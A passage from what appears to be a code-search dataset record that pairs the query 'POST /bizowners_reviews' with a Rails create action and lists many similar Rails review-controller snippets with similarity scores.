isbn\n }\n self.request(url, params)\n end", "def index\n @food_reviews = FoodReview.all\n end", "def find_review\n Review.find(params[\"id\"])\n end", "def index\n @user_reviews = UserReview.all.order(:rate_period).page(params[:page])\n end", "def index\n @reviews = @publication.reviews.all\n end", "def getReviews_by_id\n @user = Usuario.find(params[:id])\n @result = Array.new\n @reviews= Review.order('id') \n @reviews.each do |p|\n if p.usuario_id == @user.id\n @result.push(p)\n end\n end\n respond_with @result , location: nil \n end", "def index\n\t\t@shop = Shop.find(params[:shop_id])\n\t\t@reviews = @shop.reviews\n\tend", "def index\n\t\tparams[:search] ? @reviews=Review.search(params[:search]) : @reviews= Review.where(\"user_id = ?\", current_user.id)\n\t\t@reviews = @reviews.order(:heading).paginate(page: params[:page], per_page: 18)\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @reviews }\n\t\t\tformat.js\n\t\tend \n\tend", "def index\n\t\t@store_reviews = @store.store_reviews;\t\t\n\tend", "def show\n\t\t@book_review = BookReview.find(params[:id])\n\t\t@book = Book.find_by_id(@book_review.book_id)\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render :json => @book_review }\n\t\tend\n\tend", "def show\n @review = Review.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @review }\n end\n end", "def show\n @review = Review.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @review }\n end\n end", "def show\n @review = Review.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @review }\n end\n end", "def show\n @review = Review.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @review }\n end\n end" ]
[ "0.73316205", "0.7186765", "0.71598315", "0.70970446", "0.69875133", "0.69509554", "0.6938352", "0.6922606", "0.69204634", "0.6899729", "0.68802834", "0.6842671", "0.6841928", "0.6837107", "0.6835942", "0.6826453", "0.6826453", "0.68073285", "0.67812777", "0.6762676", "0.67296356", "0.6721656", "0.6721656", "0.6720431", "0.6718058", "0.67072815", "0.67025137", "0.66527194", "0.66017246", "0.66017246", "0.66017246", "0.66017246", "0.66017246", "0.66017246", "0.66017246", "0.66017246", "0.66017246", "0.66017246", "0.66017246", "0.66017246", "0.6589326", "0.65874", "0.65763915", "0.653976", "0.6506992", "0.65035427", "0.6498893", "0.6494887", "0.6494531", "0.6490533", "0.6469718", "0.6460841", "0.6460841", "0.6458718", "0.64403933", "0.64077324", "0.6396878", "0.6390284", "0.6380747", "0.63752854", "0.63748217", "0.63677645", "0.6364323", "0.6363991", "0.635815", "0.635672", "0.63333523", "0.63291466", "0.6301437", "0.6275869", "0.6272158", "0.6259662", "0.62580365", "0.6257533", "0.6253501", "0.6250488", "0.6243977", "0.6239284", "0.623815", "0.623453", "0.6230592", "0.62302303", "0.6226285", "0.6226285", "0.6226285", "0.6225656", "0.62218827", "0.62067056", "0.62016875", "0.6193161", "0.6181226", "0.61802965", "0.61634266", "0.61624473", "0.6156447", "0.61501116", "0.6140179", "0.61318046", "0.61318046", "0.61318046", "0.61318046" ]
0.0
-1
POST /bizowners_reviews POST /bizowners_reviews.json
def create @bizowners_review = BizownersReview.new(bizowners_review_params) @bizowners_review.update(jobseeker_id: current_user.id) @bizowners_review.update(status: true) respond_to do |format| if @bizowners_review.save format.html { redirect_to @bizowners_review, notice: 'Bizowners review was successfully created.' } format.json { render :show, status: :created, location: @bizowners_review } else format.html { render :new } format.json { render json: @bizowners_review.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_bizowners_review\n @bizowners_review = BizownersReview.find(params[:id])\n end", "def create\n @review = current_author.reviews.create(review_params)\n render json: @review, status: 201\n end", "def create_review(booking, options = {})\n post(\"bookings/#{booking}/reviews\", reviews: [options]).pop\n end", "def create\n @user = current_user\n @review = @user.reviews.build(review_params)\n if @user.save\n render json: @review\n end\n end", "def create\n @review = Review.new(review_params)\n current_user.reviews << @review\n respond_to do |format|\n if @review.save\n format.json { render :show, status: :created, location: @review }\n else\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def bizowners_review_params\n params.require(:bizowners_review).permit(:bizowner_id, :jobseeker_id, :bizowner_review_star, :business_review_description, :job_end_date, :status)\n end", "def create\n @review = @post.reviews.where(user_id: current_user.id).create(params[:review])\n respond_with @post, @review, location: post_path(@post, anchor: \"review_#{@review.id}\")\n end", "def create\n @review = reviewable.reviews.build(params[:review])\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to reviewable_review_url(reviewable, @review), notice: 'Review was successfully created.' }\n format.json { render json: @review, status: :created, location: @review }\n else\n format.html { render action: \"new\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n review = course.reviews.new(review_params)\n \n if review.save\n render json: ReviewSerializer.new(review).serialized_json\n else\n render json: { error: review.errors.messages }, status: 422\n end\n end", "def create\n @review = Review.new(review_params)\n\n if @review.save\n render json: @review, status: :created, location: @review\n else\n render json: @review.errors, status: :unprocessable_entity\n end\n end", "def create\n @review = Review.new(review_params)\n\n if @review.save\n render json: @review, status: :created, location: @review\n else\n render json: @review.errors, status: :unprocessable_entity\n end\n end", "def create\n @review = Review.new(review_params)\n\n if @review.save\n render json: @review, status: :created, location: @review\n else\n render json: @review.errors, status: :unprocessable_entity\n end\n end", "def create\n @review = Review.new(review_params)\n\n respond_to do |format|\n if !!@review && current_user\n current_user.reviews << @review\n @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @boo_k_review = BooKReview.new(boo_k_review_params)\n\n respond_to do |format|\n if @boo_k_review.save\n format.html { redirect_to @boo_k_review, notice: 'Boo k review was successfully created.' }\n format.json { render :show, status: :created, location: @boo_k_review }\n else\n format.html { render :new }\n format.json { render json: @boo_k_review.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @review = current_user.reviews.build(review_params)\n \n if @review.save\n flash[:success] = 'レビューを投稿しました。'\n redirect_to root_url\n else\n @reviews = current_user.reviews.order(id: :desc).page(params[:page])\n flash.now[:danger] = 'レビューの投稿に失敗しました。'\n render '/reviews'\n end\n end", "def create\n\t\t@review = Review.new(review_params)\n\t\t@review.user_id = current_user.id\n\t\trespond_to do |format|\n\t\t\tif @review.save\n\t\t\t\t@reviews = Review.order(:heading).paginate(page: params[:page], per_page: 18)\n\t\t\t\tformat.html { redirect_to @review; flash[:success]= 'review was successfully created.' }\n\t\t\t\tformat.json { render :show, status: :created, location: @review }\n\t\t\t\tformat.js\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @review.errors, status: :unprocessable_entity }\n\t\t\t\tformat.js\n\t\t\tend\n\t\tend\n\tend", "def create\n if current_user\n @review = current_user.reviews.build(params[:review])\n\n respond_to do |format|\n if @review.save\n flash[:success] = 'Запись успешно добавлена!'\n format.html { redirect_to reviews_path }\n format.json { render json: @review, status: :created, location: reviews_path }\n else\n format.html { render action: \"new\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n else\n flash[:error] = 'Вы должны войти в систему!'\n redirect_to root_path\n end\n end", "def save_review\r\n return unless self.review\r\n begin\r\n r = JSON.parse self.review\r\n c = Comment.new\r\n c.id = r['id']\r\n c.content = r['content']\r\n c.user_id = r['user']['id']\r\n c.app_id = r['app']['id']\r\n c.created_at = Time.at r['created_at']\r\n c.model = r['model']\r\n c.sdk = r['sdk']\r\n c.image = r['image']\r\n c.image_size = r['image_size']\r\n c.sns_status_id = r['sns_status_id']\r\n c.sns_id = r['sns_id'] \r\n c.in_reply_to_id = r['in_reply_to_id']\r\n c.save\r\n rescue\r\n end\r\n end", "def create\n @review = Review.new(review_params)\n @review.user = current_user\n\n if @review.save\n render :show, status: :created, location: @review\n else\n render json: { Error: @review.errors }, status: :unprocessable_entity\n end\n end", "def create\n @review = Review.new(review_params)\n @review.exceptional ||= 0\n if @review.save\n @apn.update_attribute(:reviewed, true)\n link = reviews_path\n name = @apn.profile.first_name.capitalize + \" \".to_s + @apn.profile.last_name.capitalize\n redirect_to new_review_path, notice: (\"#{name} successfully reviewed.\" +\n \" New application loaded. If you're feeling lazy, <a href='#{link}'>\" +\n \"go to the Dashboard</a>\").html_safe\n else\n render action: \"new\", alert: \"something went wrong with submitting the review\"\n end\n end", "def create\n\t\t@book_review = BookReview.new(params[:book_review])\n\t\t@book_review.user_id = current_user.id\n\t\t@book_review.book_id = params[:book_id]\n\n\t\trespond_to do |format|\n\t\t\tif @book_review.save\n\t\t\t\tformat.html { redirect_to @book_review, :notice => 'Book review was successfully created.' }\n\t\t\t\tformat.json { render :json => @book_review, :status => :created, :location => @book_review }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\tformat.json { render :json => @book_review.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def create\n @review = @place.reviews.new(params[:review])\n @review.user = current_user\n respond_to do |format|\n if @review.save\n format.html { redirect_to place_path(@place), notice: 'Review was successfully created.' }\n format.json { render json: @review, status: :created, location: @review }\n else\n format.html { redirect_to place_path(@place, :anchor => \"review\"), notice: 'Please enter your review!!.' }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user_review = UserReview.new(user_review_params)\n\n respond_to do |format|\n if @user_review.save!\n format.html { redirect_to user_reviews_path, notice: 'User review was successfully created.' }\n format.json { render :show, status: :created, location: @user_review }\n else\n format.html { render :new }\n format.json { render json: @user_review.errors, status: :unprocessable_entity }\n end\n end\n end", "def review\n\t@applicants = Applicant.all\n\t\n\trespond_to do |format|\n\tformat.html # review.html.erb\n\tformat.json { render json: @applicants }\n\tend\n\tend", "def reviews(params = {})\n data = request(\"/review/list\", params.merge(v: \"2\"))\n reviews = data[\"reviews\"][\"review\"]\n if reviews.present?\n reviews.map { |review| Hashie::Mash.new(review) }\n else\n []\n end\n end", "def create\n\t\treview = Review.create(:user_id=>params[:review][:user_id], :note_id=>params[:review][:note_id], :status=>params[:review][:status])\n\t\treview.save!\n\n render json: []\n\tend", "def create\n @comic = Comic.find(params[:comic_id])\n @review = current_user.reviews.new(review_params)\n @review.tag_list = params[:tag_list]\n @review.comic_id = @comic.id\n p @review\n p review_params\n respond_to do |format|\n if @review.save\n format.html { redirect_to comic_path(@comic), notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @reviews = Review.all\n @review = Review.new(review: params[:review][:review], my_book_id: params[:my_book_id])\n end", "def create\n @review = current_user.reviews.new(review_params)\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to place_path(@review.place), notice: 'Review was successfully created.' }\n else\n format.html { redirect_to root_path }\n end\n end\n end", "def reviews( params={} )\n reviews = get_connections(\"reviews\", params)\n return map_connections reviews, :to => Facebook::Graph::Review\n end", "def create\n @review = Review.new(review_params)\n\t@review.user_id = current_user.id\n\t\n\t# used for partials rendering in SPA\n\t@site = Site.find(@review.site_id)\n\t@sites = Site.all\n\t@reviews = Review.where(site_id: @site.id).order(\"created_at DESC\")\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n\t\tformat.js\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n\t\tformat.js { render 'shared/errors' }\n end\n end\n end", "def review\n @users = User.all\n @review = Review.new\n end", "def create\n @review = Review.new(review_params)\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @review = Review.new(review_params)\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n #binding.pry\n review = Review.new(review_params) \n if review.save\n render json: ReviewSerializer.new(review)\n else\n render json: {errors: review.errors.full_messages}\n end\n end", "def index\n @reviews = reviewable.reviews\n\n respond_to do |format|\n format.html\n format.json { render json: @reviews }\n end\n end", "def review_params\n params.require(:review).permit(:user_id, :comic_id, :review_text, :review_title, :netabare, :tag_list, :star)\n end", "def update\n respond_to do |format|\n if @bizowners_review.update(bizowners_review_params)\n format.html { redirect_to @bizowners_review, notice: 'Bizowners review was successfully updated.' }\n format.json { render :show, status: :ok, location: @bizowners_review }\n else\n format.html { render :edit }\n format.json { render json: @bizowners_review.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @review = @publication.reviews.new(review_params)\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review.publication, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @review = Review.new(params[:review])\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render json: @review, status: :created, location: @review }\n else\n format.html { render action: \"new\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def load_reviews\n response = RestClient.get \"https://developers.zomato.com/api/v2.1/reviews?res_id=#{self.zomato_restaurant_id}\", accept: :json, 'user-key' => Rails.application.config.zomato_key\n if response.code == 200\n if response && response.length >= 2\n response = JSON.parse(response)\n response['user_reviews'].each do |review|\n new_review = Review.new\n new_review.review_rating = review['review']['rating']\n new_review.review_text = review['review']['review_text']\n new_review.rating_color = review['review']['rating_color']\n new_review.rating_text = review['review']['rating_text']\n new_review.review_time_stamp = Time.at(review['review']['timestamp'].to_i).to_time.to_i\n new_review.likes = review['review']['likes']\n new_review.author_name = review['review']['user']['name']\n new_review.author_foodie_level = review['review']['user']['foodie_level']\n new_review.user_image = review['review']['user']['profile_image']\n new_review.comments_count = review['review']['comments_count']\n new_review.restaurant_id = self.zomato_restaurant_id\n new_review.save\n end\n end\n end\n end", "def create\n\t\t@reviews = @share.reviews.order(priority: :asc)\n\t\t@reviewToAlter = @share.reviews.new(review_params)\n\t\t\n\t\tif @reviewToAlter.save\n\t\t\tredirect_to share_reviews_path(@share), notice: \"Review saved!\"\n\t\telse\n\t\t\tflash[:alert] = \"Error : #{@reviewToAlter.errors.full_messages.to_sentence}\"\n\t\t\trender :index\n\t\tend\n\tend", "def review_params\n params.require(:review).permit(:yelp_business_id, :yelp_user_id, :content, :stars)\n end", "def create\n @review = Presentation.find(params[:id]).reviews.build(reviews_params)\n @review.user_id = current_user.id\n @review.save\n redirect_to current_user\n end", "def create\n @review = Review.new(review_params)\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: 'Review was successfully created.' }\n format.json { render action: 'show', status: :created, location: @review }\n else\n format.html { render action: 'new' }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @review = Review.new(review_params)\n respond_to do |format|\n if Review.validate(@review) and @review.save\n format.html { redirect_to bookings_path, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n flash[:notice] = \"You are submitting your review multiple times. Aborting\"\n format.html { redirect_to bookings_path }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @book_review = BookReview.new(params[:book_review])\n\n respond_to do |format|\n if @book_review.save\n format.html { redirect_to @book_review, notice: 'Book review was successfully created.' }\n format.json { render json: @book_review, status: :created, location: @book_review }\n else\n format.html { render action: \"new\" }\n format.json { render json: @book_review.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n if params[:user_id] && params[:recruiter_id] && params[:review]\n user = User.find(params[:user_id])\n # puts user\n recruiter = Recruiter.find(params[:recruiter_id])\n # puts recruiter\n ################################\n params[\"got_interview\"] ? got_interview = params[\"got_interview\"] : got_interview = false\n params[\"got_job\"] ? got_job = params[\"got_job\"] : got_job = false\n got_job ? got_interview = true : \"null\" #if got job then must have had interview\n params[\"rating\"] ? rating = params[\"rating\"] : rating = 0 #0 means not rated\n params[\"recommended\"] ? recommended = params[\"recommended\"] : recommended = false\n params[\"ghoster\"] ? ghoster = params[\"ghoster\"] : ghoster = false\n # puts \"*********$\"\n # puts params\n # puts recommended\n # puts params[:recommended]\n # puts \"***************$\"\n review = Review.new(\n user_id: user.id,\n recruiter_id: recruiter.id,\n review: params[\"review\"],\n got_interview: got_interview,\n got_job: got_job,\n rating: rating,\n recommended: recommended,\n ghoster: ghoster\n ) #Review.new\n\n if review.save\n render json: {\"POSTED REVIEW\": \"ok\"} #works\n else\n render json: {\"error\": \"ERROR SAVE POSTED REVIEW\"}\n end\n ################################\n # render json: {\"POSTED REVIEW\": \"ok\"} #works\n else\n render json: {\"error\": \"no user_id or recruiter_id or review\"}\n end # if params[:user_id]\n end", "def create \n @refrigerator = Refrigerator.find(params[:refrigerator_id])\n @review = Review.create(create_update_params)\n @refrigerator.reviews << @review\n\n if @review.save!\n\n flash[:notice] = 'Review successfully created.'\n redirect_to refrigerator_path(params[:refrigerator_id])\n else\n flash[:notice] = 'Could not create new review.'\n redirect_to (new_refrigerator_review_path(@refrigerator))\n end\n end", "def new\n @review = current_user.reviews.new\n 1.times { @review.review_photos.build }\n @place = Place.first\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @review }\n end\n end", "def create\n item = Item.find(params[:review][:rateable_id])\n @review = item.reviews.new\n @review.user_id = current_user.id\n @review.rating = params[:review][:rating]\n @review.comment = params[:review][:comment]\n if @review.save\n redirect_to item_path(item)\n else\n flash[:alet] = \"There was a problem creating the review\"\n render :new\n end\n end", "def create\n @book = Book.find(params[:book_id])\n @review = @book.reviews.build(review_params)\n @review.user = current_user\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to book_path(@book), notice: 'Su crítica se envió correctamente.' }\n format.json { render :show, status: :created, location: @review }\n format.js\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end", "def create\n @brewery = Brewery.find(params[:brewery_id])\n @review = @brewery.reviews.create(review_params)\n redirect_to state_breweries_path(@brewery)\n end", "def create_review(book_id, params = {})\n params = params.merge(book_id: book_id, v: \"2\")\n\n params[:read_at] = params[:read_at].strftime('%Y-%m-%d') if params[:read_at].is_a?(Time)\n\n params[:'review[review]'] = params.delete(:review) if params[:review]\n params[:'review[rating]'] = params.delete(:rating) if params[:rating]\n params[:'review[read_at]'] = params.delete(:read_at) if params[:read_at]\n\n data = oauth_request_method(:post, '/review.xml', params)\n\n Hashie::Mash.new(data[\"review\"])\n end", "def create\n @seller_review = SellerReview.new(seller_review_params)\n @seller_review.reviewer_id = current_user.id\n\n\n respond_to do |format|\n if @seller_review.save\n User.find(@seller_review.seller_id).seller_reviews << @seller_review\n format.html { redirect_to @seller_review, notice: 'Seller review was successfully created.' }\n format.json { render :show, status: :created, location: @seller_review}\n else\n format.html { render :new }\n format.json { render json: @seller_review.errors, status: :unprocessable_entity }\n end\n end\n end", "def review_params\n params.require(:review).permit(:comment, :title, :rating,\n :parking_space_id, :owner_name)\n end", "def create\n @company_review = CompanyReview.new(company_review_params)\n\n respond_to do |format|\n if @company_review.save\n format.html { redirect_to @company_review, notice: 'Company review was successfully created.' }\n format.json { render :show, status: :created, location: @company_review }\n else\n format.html { render :new }\n format.json { render json: @company_review.errors, status: :unprocessable_entity }\n end\n end\n end", "def review\n end", "def create\n @review = Review.new(review_params)\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to dashboard_path, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @item_review = ItemReview.new(item_review_params)\n\n respond_to do |format|\n if @item_review.save\n format.html { redirect_to @item_review, notice: 'Item review was successfully created.' }\n format.json { render :show, status: :created, location: @item_review }\n else\n format.html { render :new }\n format.json { render json: @item_review.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n params[:review][:rating].sub!(/\\s*[^0-9]*\\z/, '') unless params[:review][:rating].blank?\n\n @review = Designerreview.new(review_params)\n @review.designer = @designer\n @review.user = spree_current_user if spree_user_signed_in?\n @review.ip_address = request.remote_ip\n @review.locale = I18n.locale.to_s if Designerreviews::Config[:track_locale]\n\n authorize! :create, @review\n if @review.save\n flash[:notice] = Spree.t(:review_successfully_submitted)\n redirect_to designer_path(@designer)\n else\n render :new\n end\n end", "def new\n @business = Business.find(params[:business_id])\n @review = @business.reviews.build(review_params)\n end", "def create\n @review = Review.new(review_params)\n @review.user_id = current_user.id\n @review.post_date = Time.now\n\n if @review.save\n # Create notifications for the user's friends\n current_user.friends.each do |friend|\n Notification.create(recipient: friend, actor: current_user, action: 'posted', notifiable: @review)\n end\n\n # Create and attach the tags\n create_tags collect_tags(params[:review]), @review.id\n redirect_to '/profile'\n else\n redirect_to '/home'\n end\n end", "def create\n @review = Review.new(review_params)\n if @review.save\n redirect_to reviews_path\n else\n render 'new'\n end\n end", "def create\n @venue_review = @venue.venue_reviews.new(params[:venue_review])\n @venue_review.added_by = current_user.id\n respond_to do |format|\n if @venue.venue_reviews << @venue_review\n flash[:notice] = 'Thank you for your valuable review.'\n format.html { redirect_to(venue_path(@venue)) }\n format.xml { render :xml => @venue_review, :status => :created, :location => @venue_review }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @venue_review.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @review = Review.new(review_params)\n\n respond_to do |format|\n if @review.save\n # TODO redirect to page that shows what their review will look like. \n format.html { redirect_to thanks_path, notice: 'Review was successfully created.' }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user = User.find(params[:id])\n @user.reviews.push(current_user)\n redirect_to reviews_path\n end", "def create\n @review = Review.new(review_params)\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to @review, notice: \"レビューが作成されました\" }\n format.json { render :show, status: :created, location: @review }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @critic_review = CriticReview.new(critic_review_params)\n\n respond_to do |format|\n if @critic_review.save\n format.html { redirect_to @critic_review, notice: 'Critic review was successfully created.' }\n format.json { render :show, status: :created, location: @critic_review }\n else\n format.html { render :new }\n format.json { render json: @critic_review.errors, status: :unprocessable_entity }\n end\n end\n end", "def my_reviews\n @owner = current_user\n @reviews = Review.find(:all, :conditions => [\"user_id = ?\", @owner.id])\n render :action => \"index\"\n end", "def create\n @item_review = ItemReview.new(item_review_params)\n\n respond_to do |format|\n if @item_review.save\n format.html { redirect_to @item_review, notice: 'Item review was successfully created.' }\n format.json { render action: 'show', status: :created, location: @item_review }\n else\n format.html { render action: 'new' }\n format.json { render json: @item_review.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @shop = Shop.find(params[:shop_id])\n @review = @shop.reviews.create(reviewer: params[:review][:reviewer], rate: params[:review][:rate], body: params[:review][:body])\n\n if @review.save\n puts \"!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\"\n flash[:notice] = \"レビューの投稿が完了しました\"\n redirect_to shop_path(@shop)\n\n else\n redirect_to shop_path(@shop)\n flash[:notice] = \"レビューの投稿に失敗しました\"\n end\n\n\n end", "def new\n @review = reviewable.reviews.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @review }\n end\n end", "def create\n @reviews_and_rating = ReviewsAndRating.new(reviews_and_rating_params)\n\n respond_to do |format|\n if @reviews_and_rating.save\n format.html { redirect_to @reviews_and_rating, notice: 'Reviews and rating was successfully created.' }\n format.json { render :show, status: :created, location: @reviews_and_rating }\n else\n format.html { render :new }\n format.json { render json: @reviews_and_rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n final_set = []\n params['doctors_review'].permit!\n doctors_id = params['doctors_review']['doctors_id']\n specialties_id = DoctorsSpecialty.where(doctors_id: doctors_id).first\n .specialties_id\n specialty = Specialty.find(specialties_id)\n unless specialties_id.nil?\n params['doctors_review']['specialties_id'] = specialties_id\n end\n @doctors_reviews = DoctorsReview.new(params['doctors_review'])\n if @doctors_reviews.save\n rating = params['doctors_review']['rating']\n unless rating.nil?\n all_reviews = DoctorsReview.where(specialties_id: specialties_id)\n .where('rating >= ?', rating).order('rating')\n all_reviews&.each do |review|\n doctor = Doctor.find(review['doctors_id'])\n recommendations = { specialty: specialty.name,\n doctor: doctor.name,\n rating: review.rating,\n comments: review.comments\n }\n final_set << recommendations\n end\n end\n final_set\n else\n @doctors_reviews.errors.full_messages\n end\n end", "def create\n \n @venue = Venue.find(params[:venue_id])\n #@venue = Venue.find_by_venue_id(params[:venue_id])\n @review = @venue.reviews.create(params[:review])\n #redirect_to venue_show_path(params[@venue.venue_id])\n @review.venue_id = params[:venue_id]\n #@review = @restroom.reviews.build(params[:review])\n #@review.save\n @review.user = current_user\n @review.venue = Venue.find(params[:venue_id])\n \n respond_to do |format|\n if @review.save\n format.html { redirect_to venue_show_path(params[@venue.id], :venue_id => @venue.venue_id ), :notice => 'Your review was successfully posted.'}\n format.xml { render :xml => @venue, :status => :created, :location => @venue }\n else\n format.html { redirect_to(@venue, :notice => \n 'Review could not be saved. Please fill in all fields')}\n format.xml { render :xml => @venue.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @visitor_review = VisitorReview.new(visitor_review_params)\n\n respond_to do |format|\n if @visitor_review.save\n format.html { redirect_to @visitor_review, notice: 'Visitor review was successfully created.' }\n format.json { render :show, status: :created, location: @visitor_review }\n else\n format.html { render :new }\n format.json { render json: @visitor_review.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @review = Review.new(review_params)\n\n if @review.valid?\n @review.save \n @boardgame = Boardgame.find(params[:boardgame_id])\n render json: @boardgame, status: :created \n else\n render json: @review.errors, status: :unprocessable_entity\n end\n end", "def review_params\n params.require(:review).permit(:customer_id, :car_id, :reservation_id, :content, :rating)\n end", "def add_review(restaurant, content)\n new_review = Review.new(restaurant, content)\n new_review.customer = self\n new_review.restaurant = restaurant\n end", "def create_pull_review(repo, pull_number, options = {})\n post \"#{Repository.path repo}/pulls/#{pull_number}/reviews\", options\n end", "def create\n @bollywood_review = BollywoodReview.new(params[:bollywood_review])\n\n respond_to do |format|\n if @bollywood_review.save\n format.html { redirect_to @bollywood_review, notice: 'Bollywood review was successfully created.' }\n format.json { render json: @bollywood_review, status: :created, location: @bollywood_review }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bollywood_review.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_review\n @review = Review.new\n @review.title = params[:title]\n @review.description = params[:description]\n @review.name = params[:name]\n @review.user_id = User.find(session[:user_id]).id\n @review.rating = params[:rating]\n @review.listing = params[:listing]\n @review.save()\n # flash[:notice] = \"Review added successfully.\"\n redirect_to :action => :listing, :id => params[:listing]\n end", "def create\n @user_review = UserReview.new(params[:user_review])\n @user_review.rating = session[:rating]\n\n respond_to do |format|\n if @user_review.save\n flash[:notice] = 'UserReview was successfully created.'\n format.html { redirect_to(@user_review) }\n format.xml { render :xml => @user_review, :status => :created, :location => @user_review }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user_review.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post = Post.new(post_params)\n @post.user_id=current_user.id\n create_review(@post)\n end", "def set_reviews\n @book = Book.find(params[:book_id])\n end", "def review\n fetch('restaurant.review')\n end", "def get_initial_reviews\n\n\t\t# return api call for just one review\n\tend", "def create\n @review = Review.new(params[:review])\n @review.review_date = Time.now\n @review.user_id = current_user.id\n\n respond_to do |format|\n if @review.save\n format.html { redirect_to place_url(@review.place), notice: 'Review was successfully created.' }\n format.json { render json: @review, status: :created, location: @review }\n else\n format.html { render action: \"new\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # Creates a new review & sends them back to their updated page\n review = current_user.reviews.create(review_params)\n if review.save\n redirect_to :back\n else\n redirect_to product_path(id: params[:product_id])\n end\n end", "def destroy\n @bizowners_review.destroy\n respond_to do |format|\n format.html { redirect_to bizowners_reviews_url, notice: 'Bizowners review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def boo_k_review_params\n params.require(:boo_k_review).permit(:user_id, :book_id, :review)\n end", "def reviews\n download_reviews\n @reviews.flatten!\n end", "def index\n @reviews = Review.find(params[:burger_place_id])\n\n render json: @reviews\n end", "def index\n @reviews = @place.reviews\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reviews }\n end\n end", "def create\n @review = Review.new(review_params)\n respond_to do |format|\n if @review.save\n format.json { render action: 'show', status: :created, location: @review }\n format.html { redirect_to postings_path, notice: 'Review was successfully created.' }\n if current_user.type == \"Student\"\n format.html { redirect_to postings_path, notice: 'Review was successfully created.' }\n else\n format.html { redirect_to supervisor_application_index_path, notice: 'Review was successfully created.' }\n end\n else\n format.html { redirect_to postings_path, notice: \"Review could not be saved. Make sure you fill out fields with an *.\" }\n format.json { render json: @review.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @boo_k_reviews = BooKReview.all\n end", "def create\n @review = Review.new(params[:review])\n @review.user = current_user\n\n respond_to do |format|\n if @review.save\n flash[:notice] = 'Review was successfully created.'\n format.html { redirect_to(@review) }\n format.xml { render :xml => @review, :status => 